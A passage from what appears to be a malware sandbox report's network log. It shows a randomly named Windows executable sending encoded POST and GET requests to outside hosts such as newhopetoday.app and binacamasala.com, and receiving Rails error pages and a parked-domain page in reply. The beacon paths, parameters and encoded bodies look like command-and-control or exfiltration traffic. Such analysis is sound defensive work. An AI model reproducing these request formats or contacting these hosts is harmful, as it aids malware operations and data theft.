arial, sans-serif; font-size: 13px; line-height: 18px; } pre { font-size: 11px; white-space: pre-wrap; } pre.box { border: 1px solid #EEE; padding: 10px; margin: 0px; width: 958px; } header { color: #F0F0F0; background: #C52F24; padding: 0.5em 1.5em; } h1 { margin: 0.2em 0; line-height: 1.1em; font-size: 2em; } h2 { color: #C52F24; line-height: 25px; } .details { border: 1px solid #D0D0D0; border-radius: 4px; margin: 1em 0px; display: block; width: 978px; } .summary { padding: 8px 15px; border-bottom: 1px solid #D0D0D0; [TRUNCATED]
Dec 10, 2024 16:24:49.853595018 CET	224	IN	Data Raw: 70 72 65 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 62 6f 78 2d 73 69 7a Data Ascii: pre { margin: 5px; border: none; } #container { box-sizing: border-box; width: 100%; padding: 0 1.5em; } .source * { margin: 0px; padding: 0px; } .source {
Dec 10, 2024 16:24:49.853606939 CET	1236	IN	Data Raw: 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 39 44 39 44 39 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 45 43 45 43 45 43 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 37 38 70 78 3b 0a 20 Data Ascii: border: 1px solid #D9D9D9; background: #ECECEC; width: 978px; } .source pre { padding: 10px 0px; border: none; } .source .data { font-size: 80%; overflow: auto; background-colo
Dec 10, 2024 16:24:49.854933023 CET	1236	IN	Data Raw: 65 3a 20 74 65 78 74 66 69 65 6c 64 3b 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c 65 20 74 62 6f 64 79 20 74 72 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0a 20 20 Data Ascii: e: textfield; } #route_table tbody tr { border-bottom: 1px solid #ddd; } #route_table tbody tr:nth-child(odd) { background: #f2f2f2; } #route_table tbody.exact_matches, #route_table tbody.fuzzy_matches { background
Dec 10, 2024 16:24:49.854944944 CET	1236	IN	Data Raw: 2f 68 65 61 64 65 72 3e 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 3c 68 32 3e 4e 6f 20 72 6f 75 74 65 20 6d 61 74 63 68 65 73 20 5b 50 4f 53 54 5d 20 26 71 75 6f 74 3b 2f 66 38 33 73 26 71 75 6f 74 3b 3c 2f 68 32 3e Data Ascii: /header><div id="container"> <h2>No route matches [POST] "/f83s"</h2> <p><code>Rails.root: /hover-parked</code></p><div id="traces"> <a href="#" onclick="hide('Framework-Trace');hide('Full-Trace');show(&#
Dec 10, 2024 16:24:49.857290030 CET	1236	IN	Data Raw: 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 33 22 20 68 72 65 66 3d 22 23 22 3e 72 61 69 6c 74 69 65 73 20 28 35 2e 32 2e 36 29 20 6c 69 62 2f 72 61 69 6c 73 2f 72 61 63 6b 2f 6c 6f 67 67 65 72 2e 72 62 3a 32 38 3a 69 6e 20 60 63 61 6c 6c 26 23 Data Ascii: data-frame-id="3" href="#">railties (5.2.6) lib/rails/rack/logger.rb:28:in `call'</a><br><a class="trace-frames" data-frame-id="4" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/remote_ip.rb:81:in `call'</a><br><a class="tr
Dec 10, 2024 16:24:49.857301950 CET	1236	IN	Data Raw: 65 2e 72 62 3a 31 31 30 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 31 33 22 20 68 72 65 66 3d 22 23 22 3e Data Ascii: e.rb:110:in `call'</a><br><a class="trace-frames" data-frame-id="13" href="#">railties (5.2.6) lib/rails/engine.rb:524:in `call'</a><br><a class="trace-frames" data-frame-id="14" href="#">puma (4.3.9) lib/puma/configuration.rb:228:in `
Dec 10, 2024 16:24:49.859184980 CET	1236	IN	Data Raw: 20 60 63 61 6c 6c 5f 61 70 70 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 33 22 20 68 72 65 66 3d 22 23 22 3e 72 61 69 6c 74 69 65 73 Data Ascii: `call_app'</a><br><a class="trace-frames" data-frame-id="3" href="#">railties (5.2.6) lib/rails/rack/logger.rb:28:in `call'</a><br><a class="trace-frames" data-frame-id="4" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/re
Dec 10, 2024 16:24:49.859204054 CET	1236	IN	Data Raw: 2d 69 64 3d 22 31 32 22 20 68 72 65 66 3d 22 23 22 3e 72 61 63 6b 20 28 32 2e 32 2e 33 29 20 6c 69 62 2f 72 61 63 6b 2f 73 65 6e 64 66 69 6c 65 2e 72 62 3a 31 31 30 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c Data Ascii: -id="12" href="#">rack (2.2.3) lib/rack/sendfile.rb:110:in `call'</a><br><a class="trace-frames" data-frame-id="13" href="#">railties (5.2.6) lib/rails/engine.rb:524:in `call'</a><br><a class="trace-frames" data-frame-id="14" href="#">
Dec 10, 2024 16:24:49.861547947 CET	1236	IN	Data Raw: 72 20 66 72 61 6d 65 5f 69 64 20 3d 20 74 61 72 67 65 74 2e 64 61 74 61 73 65 74 2e 66 72 61 6d 65 49 64 3b 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 65 6c 65 63 74 65 64 46 72 61 6d 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 Data Ascii: r frame_id = target.dataset.frameId; if (selectedFrame) { selectedFrame.className = selectedFrame.className.replace("selected", ""); } target.className += " selected"; selectedFrame = target;
Dec 10, 2024 16:24:49.973323107 CET	1236	IN	Data Raw: 20 20 20 20 20 20 3c 2f 74 68 3e 0a 20 20 20 20 20 20 3c 74 68 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 69 64 3d 22 73 65 61 72 63 68 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 50 61 74 68 20 4d 61 74 63 68 22 20 74 79 70 65 3d 22 73 Data Ascii: </th> <th> <input id="search" placeholder="Path Match" type="search" name="path[]" /> </th> <th> </th> </tr> </thead> <tbody class='exact_matches' id='exact_matches'> </tbody> <tbody class='fuz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49923	216.40.34.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:51.378676891 CET	1834	OUT	POST /f83s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.newhopetoday.app Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.newhopetoday.app Referer: http://www.newhopetoday.app/f83s/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 59 67 32 71 35 6f 5a 2f 5a 6f 4b 6f 65 66 75 79 76 30 70 6b 74 33 31 39 70 36 73 64 67 47 49 55 72 43 59 30 58 4d 72 4e 62 37 78 6f 4d 7a 6d 5a 70 35 62 69 35 69 38 6f 4d 2f 62 39 49 72 37 47 54 48 36 33 44 71 52 67 70 38 36 4f 43 61 6a 55 77 68 6a 58 43 6f 5a 4d 47 38 6e 49 71 37 51 42 47 34 69 4c 2b 72 46 7a 4c 77 6c 68 45 52 76 33 6e 35 64 66 6d 45 34 54 67 71 5a 63 70 32 70 46 75 42 6d 53 71 70 57 6d 78 57 5a 7a 4d 6e 42 58 50 54 38 66 33 57 2b 52 70 52 63 69 51 68 59 52 53 46 62 48 52 4c 53 34 33 47 6d 51 59 5a 66 36 33 5a 49 62 76 75 4f 41 78 73 57 69 45 34 55 61 36 67 6d 39 37 45 4c 7a 36 33 37 2f 71 4d 75 42 50 43 37 4c 71 33 30 6b 7a 36 4e 6b 41 76 57 52 79 77 7a 6c 61 39 43 33 71 48 4c 36 52 57 32 62 38 59 38 4d 65 4e 48 6e 6a 37 4a 4b 54 7a 62 6b 4e 47 52 6c 68 37 62 34 2b 6e 42 6d 30 52 4d 2f 41 45 68 77 34 6d 30 63 43 2b 73 53 64 38 6b 48 59 5a 2b 47 68 4d 45 65 71 78 79 30 42 76 34 42 32 6e 56 67 7a 6e 65 73 48 51 4e 49 31 6e 4a 4c 64 6c 79 32 38 5a 34 53 37 36 [TRUNCATED] Data Ascii: UTJ0bhC=Yg2q5oZ/ZoKoefuyv0pkt319p6sdgGIUrCY0XMrNb7xoMzmZp5bi5i8oM/b9Ir7GTH63DqRgp86OCajUwhjXCoZMG8nIq7QBG4iL+rFzLwlhERv3n5dfmE4TgqZcp2pFuBmSqpWmxWZzMnBXPT8f3W+RpRciQhYRSFbHRLS43GmQYZf63ZIbvuOAxsWiE4Ua6gm97ELz637/qMuBPC7Lq30kz6NkAvWRywzla9C3qHL6RW2b8Y8MeNHnj7JKTzbkNGRlh7b4+nBm0RM/AEhw4m0cC+sSd8kHYZ+GhMEeqxy0Bv4B2nVgznesHQNI1nJLdly28Z4S76SFHI5PbuleQHe6AfauXAXgxTLM2kkENw9/DEpQX9xo/VxnXsAQDD7C6n++zKC5NoHIFTzn/EXpeoIo9nt+82lu+93Jf9QM9DKxytfxxNXYVJ5mn3DC8J+MpE66WPTk19aGj4TCVIgWkiMA18L9Z0gOoBMVltClpCS+Kc37+jVZadjrVZciy04WtJQ6yUrk6apAs4TajVbFXQxlLO6h/+ENktegiv7hP54wjp2eaDe6UBjCmdU5rhUht6G0Vg/nFJvzeIMt1JxU9qngaBAjO2VdcYItLwlgVy4fiuvcc4XT/YdZYfsc7CfpiiDrsawK5/zw6LD9nNOIVsTz1ayLQPMXntSRuj7j/tWPRZJSlb1p8lEOi9lrKOyPCk6MjNDjxjRm/nQn4FKbP8tStccT5vOjctPCnkL8qWs9Dk0bqBCupJW6tea+f/dmR4xfrxERQqEGS8yV3aH5Rd6+8O6dP0joqADwbVDEpXYZaCId8p7VXeW7tEqUJCjSe+ITYAJe+iUHvNQDMyPFy51jx0icgdeGdKbJyxSoHiJqpl/jPwNucXQi3IxDoFEvAZ1DCLJGql4U3H4RA9T+wNVd4sZrIuK0B6M6SrwneSIFG5VgegF2lv2OqvF+cE+KJgrRiq2QJ8tKUWTaIHnkGqVFVKiXqKvAGISMsV+3LYCG [TRUNCATED]
Dec 10, 2024 16:24:52.580269098 CET	1236	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=UTF-8 x-request-id: 5325af3b-84a0-482b-ab46-c4e2842ab007 x-runtime: 0.021576 content-length: 18170 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <title>Action Controller: Exception caught</title> <style> body { background-color: #FAFAFA; color: #333; margin: 0px; } body, p, ol, ul, td { font-family: helvetica, verdana, arial, sans-serif; font-size: 13px; line-height: 18px; } pre { font-size: 11px; white-space: pre-wrap; } pre.box { border: 1px solid #EEE; padding: 10px; margin: 0px; width: 958px; } header { color: #F0F0F0; background: #C52F24; padding: 0.5em 1.5em; } h1 { margin: 0.2em 0; line-height: 1.1em; font-size: 2em; } h2 { color: #C52F24; line-height: 25px; } .details { border: 1px solid #D0D0D0; border-radius: 4px; margin: 1em 0px; display: block; width: 978px; } .summary { padding: 8px 15px; border-bottom: 1px solid #D0D0D0; [TRUNCATED]
Dec 10, 2024 16:24:52.580873966 CET	1236	IN	Data Raw: 70 72 65 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 62 6f 78 2d 73 69 7a Data Ascii: pre { margin: 5px; border: none; } #container { box-sizing: border-box; width: 100%; padding: 0 1.5em; } .source * { margin: 0px; padding: 0px; } .source { border: 1px
Dec 10, 2024 16:24:52.580885887 CET	1236	IN	Data Raw: 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c 65 20 74 68 65 61 64 20 74 72 2e 62 6f 74 74 6f 6d 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c Data Ascii: } #route_table thead tr.bottom { border-bottom: none; } #route_table thead tr.bottom th { padding: 10px 0; line-height: 15px; } #route_table thead tr.bottom th input#search { -webkit-appearance: textfield; }
Dec 10, 2024 16:24:52.583044052 CET	1236	IN	Data Raw: 0a 20 20 20 20 76 61 72 20 74 6f 67 67 6c 65 53 65 73 73 69 6f 6e 44 75 6d 70 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 6f 67 67 6c 65 28 27 73 65 73 73 69 6f 6e 5f 64 75 6d 70 27 29 3b 0a 20 20 20 Data Ascii: var toggleSessionDump = function() { return toggle('session_dump'); } var toggleEnvDump = function() { return toggle('env_dump'); } </script></head><body><header> <h1>Routing Error</h1></header><div id="c
Dec 10, 2024 16:24:52.583056927 CET	1236	IN	Data Raw: 69 6f 6e 5f 64 69 73 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 73 68 6f 77 5f 65 78 63 65 70 74 69 6f 6e 73 2e 72 62 3a 33 33 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 Data Ascii: ion_dispatch/middleware/show_exceptions.rb:33:in `call'</a><br><a class="trace-frames" data-frame-id="2" href="#">lograge (0.11.2) lib/lograge/rails_ext/rack/logger.rb:15:in `call_app'</a><br><a class="trace-frames" data-frame-id="3" h
Dec 10, 2024 16:24:52.585361958 CET	1236	IN	Data Raw: 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 31 31 22 20 68 72 65 66 3d 22 23 22 3e 61 63 74 69 6f 6e 70 61 63 6b 20 28 35 2e 32 2e 36 29 20 6c 69 62 2f 61 Data Ascii: a><br><a class="trace-frames" data-frame-id="11" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/static.rb:127:in `call'</a><br><a class="trace-frames" data-frame-id="12" href="#">rack (2.2.3) lib/rack/sendfile.rb:110:in `call&#
Dec 10, 2024 16:24:52.585374117 CET	1236	IN	Data Raw: 72 61 6d 65 2d 69 64 3d 22 31 22 20 68 72 65 66 3d 22 23 22 3e 61 63 74 69 6f 6e 70 61 63 6b 20 28 35 2e 32 2e 36 29 20 6c 69 62 2f 61 63 74 69 6f 6e 5f 64 69 73 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 73 68 6f 77 5f 65 78 63 65 70 74 Data Ascii: rame-id="1" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/show_exceptions.rb:33:in `call'</a><br><a class="trace-frames" data-frame-id="2" href="#">lograge (0.11.2) lib/lograge/rails_ext/rack/logger.rb:15:in `call_app'</a>
Dec 10, 2024 16:24:52.587795019 CET	1236	IN	Data Raw: 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 65 78 65 63 75 74 6f 72 2e 72 62 3a 31 34 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d Data Ascii: patch/middleware/executor.rb:14:in `call'</a><br><a class="trace-frames" data-frame-id="11" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/static.rb:127:in `call'</a><br><a class="trace-frames" data-frame-id="12" href="#">r
Dec 10, 2024 16:24:52.587806940 CET	1236	IN	Data Raw: 2f 20 41 64 64 20 63 6c 69 63 6b 20 6c 69 73 74 65 6e 65 72 73 20 66 6f 72 20 61 6c 6c 20 73 74 61 63 6b 20 66 72 61 6d 65 73 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 74 72 61 63 65 46 72 61 6d 65 73 2e 6c 65 6e Data Ascii: / Add click listeners for all stack frames for (var i = 0; i < traceFrames.length; i++) { traceFrames[i].addEventListener('click', function(e) { e.preventDefault(); var target = e.target; var frame_id = target
Dec 10, 2024 16:24:52.590471983 CET	1236	IN	Data Raw: 22 5f 70 61 74 68 22 20 74 69 74 6c 65 3d 22 52 65 74 75 72 6e 73 20 61 20 72 65 6c 61 74 69 76 65 20 70 61 74 68 20 28 77 69 74 68 6f 75 74 20 74 68 65 20 68 74 74 70 20 6f 72 20 64 6f 6d 61 69 6e 29 22 20 68 72 65 66 3d 22 23 22 3e 50 61 74 68 Data Ascii: "_path" title="Returns a relative path (without the http or domain)" href="#">Path</a> / <a data-route-helper="_url" title="Returns an absolute URL (with the http and domain)" href="#">Url</a> </th> <th> </th> <
Dec 10, 2024 16:24:52.704040051 CET	1236	IN	Data Raw: 6e 79 20 6d 61 74 63 68 65 64 20 72 65 73 75 6c 74 73 20 69 6e 20 61 20 73 65 63 74 69 6f 6e 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 4e 6f 4d 61 74 63 68 28 73 65 63 74 69 6f 6e 2c 20 6e 6f 4d 61 74 63 68 54 65 78 74 29 20 7b 0a Data Ascii: ny matched results in a section function checkNoMatch(section, noMatchText) { if (section.children.length <= 1) { section.innerHTML += noMatchText; } } // get JSON from URL and invoke callback with result f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49934	216.40.34.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:54.044536114 CET	536	OUT	GET /f83s/?Pt=fDlHoNWP0RBd&UTJ0bhC=VieK6f8ncaDfGPivzEEx/UZGk95Gg2UmvQp6RJCzQOx2HiGD45aR4i1hBpXETM6WRWeDEM4UlZawI5DKshaxB7d7bPT0ms8iN9yo/alCEGhGDXP2xLsxmillvf5/o1Iesw== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.newhopetoday.app Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:24:55.166249990 CET	1236	IN	HTTP/1.1 200 OK x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin content-type: text/html; charset=utf-8 etag: W/"489b1cc03742192cd82a546616d2ba37" cache-control: max-age=0, private, must-revalidate x-request-id: b3602359-efe6-4f2f-bfc8-002e06972a23 x-runtime: 0.005239 transfer-encoding: chunked connection: close Data Raw: 31 37 35 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 27 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 33 43 62 61 56 76 77 2d 49 37 4d 6c 72 6d 6d 6d 48 7a 30 62 66 62 6b 6f 37 6f 4d 43 57 31 6d 6e 32 75 36 35 75 57 73 57 57 42 38 27 20 6e 61 6d 65 3d 27 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 27 20 6e 61 6d 65 3d 27 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 27 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 64 61 74 61 [TRUNCATED] Data Ascii: 1759<!DOCTYPE html><html><head><meta content='text/html; charset=UTF-8' http-equiv='Content-Type'><meta content='3CbaVvw-I7MlrmmmHz0bfbko7oMCW1mn2u65uWsWWB8' name='google-site-verification'><meta content='width=device-width, initial-scale=1.0' name='viewport'><meta content='telephone=no' name='format-detection'><link href='data:;base64,iVBORw0KGgo=' rel='icon'><title>newhopetoday.app is coming soon</title><link rel="stylesheet" media="screen" href="https://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700" /><link rel="stylesheet" media="all" href="/assets/application-2f7e7f30d812d0f3950918c7562df7e68eeeebd8649bdea2bc3844eb07fc8269.css" /></head><body><header><a rel="nofollow" href="https://www.hover.com/?source=p
Dec 10, 2024 16:24:55.166932106 CET	1236	IN	Data Raw: 61 72 6b 65 64 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 31 30 32 22 20 68 65 69 67 68 74 3d 22 33 30 22 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 68 76 5f 6c 6f 67 6f 5f 72 65 74 69 6e 61 2d 36 61 32 62 61 38 33 35 30 39 30 37 64 34 61 31 37 62 Data Ascii: arked"><img width="102" height="30" src="/assets/hv_logo_retina-6a2ba8350907d4a17bfc7863c2f1378e38a53bd22b790c69c14143b0f9ce45ca.png" /></a></header><main><h1>newhopetoday.app</h1><h2>is a totally awesome idea still being worked on.</h2><
Dec 10, 2024 16:24:55.166944027 CET	1236	IN	Data Raw: 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 76 65 72 2e 63 6f 6d 2f 61 62 6f 75 74 3f 73 6f 75 72 63 65 3d 70 61 72 6b 65 64 22 3e 41 62 6f 75 74 20 55 73 3c 2f 61 3e 3c 2f 6c 69 3e Data Ascii: rel="nofollow" href="https://www.hover.com/about?source=parked">About Us</a></li><li><a rel="nofollow" href="https://help.hover.com/home?source=parked">Help</a></li><li><a rel="nofollow" href="https://www.hover.com/tools?source=parked">Your
Dec 10, 2024 16:24:55.169370890 CET	1236	IN	Data Raw: 33 35 2e 31 38 36 39 36 2c 31 35 2e 37 35 33 36 35 20 2d 33 35 2e 31 38 36 39 36 2c 33 35 2e 31 38 35 32 35 20 30 2c 32 2e 37 35 37 38 31 20 30 2e 33 31 31 32 38 2c 35 2e 34 34 33 35 39 20 30 2e 39 31 31 35 35 2c 38 2e 30 31 38 37 35 20 2d 32 39 Data Ascii: 35.18696,15.75365 -35.18696,35.18525 0,2.75781 0.31128,5.44359 0.91155,8.01875 -29.24344,-1.46723 -55.16995,-15.47582 -72.52461,-36.76396 -3.02879,5.19662 -4.76443,11.24048 -4.76443,17.6891 0,12.20777 6.21194,22.97747 15.65332,29.28716 -5.7677
Dec 10, 2024 16:24:55.169384003 CET	1236	IN	Data Raw: 39 20 31 31 35 74 32 37 39 20 2d 31 31 35 74 31 31 35 20 2d 32 37 39 7a 4d 31 32 37 30 20 31 30 35 30 71 30 20 2d 33 38 20 2d 32 37 20 2d 36 35 74 2d 36 35 20 2d 32 37 74 2d 36 35 20 32 37 74 2d 32 37 20 36 35 74 32 37 20 36 35 74 36 35 20 32 37 Data Ascii: 9 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270 q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t
Dec 10, 2024 16:24:55.171355009 CET	299	IN	Data Raw: 31 2a 6e 65 77 20 44 61 74 65 28 29 3b 61 3d 73 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6f 29 2c 0a 20 20 6d 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 6f 29 5b 30 5d 3b 61 2e 61 73 79 6e 63 3d 31 3b 61 2e 73 72 Data Ascii: 1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-4171338-43', 'auto'); g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49945	3.33.130.190	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:00.930907011 CET	797	OUT	POST /gnm5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.binacamasala.com Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.binacamasala.com Referer: http://www.binacamasala.com/gnm5/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 67 67 53 66 54 2b 52 31 36 55 4c 72 71 39 4f 6e 76 76 73 71 73 32 77 77 51 70 30 38 43 75 75 42 6c 57 47 4e 38 68 51 33 6d 50 46 75 66 34 67 42 33 52 6c 71 64 50 6a 73 52 53 37 71 75 64 35 6a 70 4d 4d 39 6a 66 66 4d 55 76 6d 37 74 30 31 2b 4d 45 61 31 67 44 50 76 42 57 79 38 56 6d 42 59 6b 45 76 74 55 7a 4b 4d 49 7a 2f 44 6c 4c 54 43 74 59 74 47 4b 52 64 2f 4c 5a 51 54 36 47 59 73 35 34 46 59 6e 42 6a 35 59 4d 62 33 66 46 51 33 77 68 77 37 48 5a 34 43 68 2f 6a 79 32 45 41 6a 5a 4d 70 37 69 47 65 78 39 50 2b 75 57 74 57 47 